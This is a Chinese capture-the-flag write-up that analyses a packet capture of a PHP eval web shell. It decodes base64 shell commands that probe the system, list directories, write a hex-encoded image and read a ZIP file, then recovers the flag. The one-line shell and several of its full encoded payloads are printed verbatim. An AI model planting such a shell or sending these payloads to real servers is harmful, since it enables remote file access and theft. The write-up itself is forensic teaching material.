考点
- Wireshark 流量分析
- Php 代码分析
- Hex 转写 Jpg
- zip 文件头
解题过程
1. Wireshark 流量分析
使用 wireshark 打开 pcapng 文件,筛选 http 流量。
点击文件 -> 导出对象 -> HTTP
Content Type 选择 All Content-Types,然后点击全部保存,选择导出文件夹,导出全部 HTTP 流量。
ALL Content-Types:所有的内容类型。
application/octet-stream:类型为字节流(二进制文件),浏览器默认方式为下载。
application/x-www-form-urlencoded:将表单内容转化为一种能够通过 URL 传输的形式,将键和值对连结起来,形式接近于 URL 的查询字符串。在这个过程中,特定的字符被替换成 %XX 形式,其中 XX 是对应字符的 ASCII 码的十六进制表示,而空白则被替换成加号(+)。
text/html:内容是 html,浏览器在获取到这种文件时会自动调用 html 的解析器对文件进行相应的处理。
2. php 代码分析
查看文件详情
首先找到 1.php ,我们进行分析。
1 | aa=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D |
- base64_decode:以下内容为 base64 编码
- action:入侵行为,值经过了 base64 编码与 urlencode 编码,通过 CyberChef 双重解码(URL Decode, From Base64)后得到 php 代码格式化后如下
1 | // 关闭错误显示 |
将返回的结果格式化后:
1 | ->| |
输出的前面有个->|
,输出的后面有个|<-
,可能会影响后续下载文件的内容。
查看文件夹D:\wamp64\www\upload
然后查看了文件夹内容以及权限,发现是777
,可以下载文件。
1 | aa=@eval(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=RDpcd2FtcDY0XHd3d1x1cGxvYWQ%3D |
action 如下
1 | QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7 |
解码并且格式化后代码为
1 | // 关闭错误显示 |
代码功能为获取文件夹的内容,需要参数z1
。
此处z1
:RDpcd2FtcDY0XHd3d1x1cGxvYWQ%3D
,解码后为D:\wamp64\www\upload
,将返回的结果格式化后:
1 | ->| |
我们可以注意到有个flag.txt和hello.zip(我们要的flag在中hello.zip,其实flag.txt并没有获取)
查看文件夹D:\wamp64\www\
将z1
换为RDpcd2FtcDY0XHd3d1w%3D
,解码后为D:\wamp64\www\
,将输出格式化后为
1 | ->| |
查看文件夹D:\wamp64\
将z1
换为RDpcd2FtcDY0XA%3D%3D
,解码后为D:\wamp64\
,结果格式化为
1 | ->| |
3. Hex 转写 Jpg
接着在D:\wamp64\www\upload
文件夹中新建图片6666.jpg
,并且写入二进制信息。
写入图片的php代码
action 为
1 | QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw |
解码后的 php 为:
1 | // 关闭错误显示 |
输入的参数z1
(图片名)为D:\wamp64\www\upload\6666.jpg
,z2
为图片的十六进制信息。
我们获取到z2
后,将其转换为.jpg
格式。
1 | # HexToJpg.py |
转换后的图片如下:
拿到关键信息Th1s_1s_p4sswd_!!!
4. zip 文件头
接着读取了D:\wamp64\www\upload\hello.zip
文件。
读取zip的php代码
action 为
1 | QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JFA9QGZvcGVuKCRGLCJyIik7ZWNobyhAZnJlYWQoJFAsZmlsZXNpemUoJEYpKSk7QGZjbG9zZSgkUCk7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D |
解码后脚本为:
1 |
|
读取 zip 接着的下个 php 文件,即为 zip 文件,我们将后缀修改为.zip
,用 WinHex 查看。
注意到zip 文件头多了2D3E7C
,文件尾多了7C3C2D
,我们将其删除,发现压缩包已经可以正常打开但是有密码。
zip 的文件头由
504B0304
开头
我们输入前面拿到的关键信息Th1s_1s_p4sswd_!!!
后,拿到flag.txt
。
最终 flag 为flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}
。
优化点
- zip 可以直接用 Binwalk 提取
- 可以只看 request 头和 response 包体
- jpg 文件头由
FFD8FF
开头,由FFD9
结尾,可以快速确定是个图片。 - 保存图片可以用 WinHex 打开那个报文后,删除多余信息,另存为
.jpg
文件